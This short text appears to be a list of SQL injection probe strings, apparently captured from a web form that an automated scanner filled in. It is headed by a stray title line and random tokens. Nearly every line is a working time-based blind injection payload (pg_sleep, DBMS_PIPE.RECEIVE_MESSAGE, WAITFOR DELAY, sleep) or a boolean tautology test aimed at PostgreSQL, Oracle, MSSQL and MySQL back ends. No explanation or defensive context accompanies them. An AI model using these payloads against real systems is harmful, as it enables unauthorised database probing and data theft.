Mr. (by @@hAXvA)

''||(select 1 from (select pg_sleep(15))x)||''

'||(select 1 from (select pg_sleep(15))x)||'

20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

vtFNo5io')) OR 358=(SELECT 358 FROM PG_SLEEP(15))--

w4C3LVVb') OR 385=(SELECT 385 FROM PG_SLEEP(15))--

GYo35FAf' OR 307=(SELECT 307 FROM PG_SLEEP(15))--

-1)) OR 40=(SELECT 40 FROM PG_SLEEP(15))--

-5) OR 254=(SELECT 254 FROM PG_SLEEP(15))--

-5 OR 858=(SELECT 858 FROM PG_SLEEP(15))--

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1' OR 2+924-924-1=0+0+0+1 --

-1 OR 2+524-524-1=0+0+0+1

-1 OR 2+588-588-1=0+0+0+1 --

oxMDHhGv

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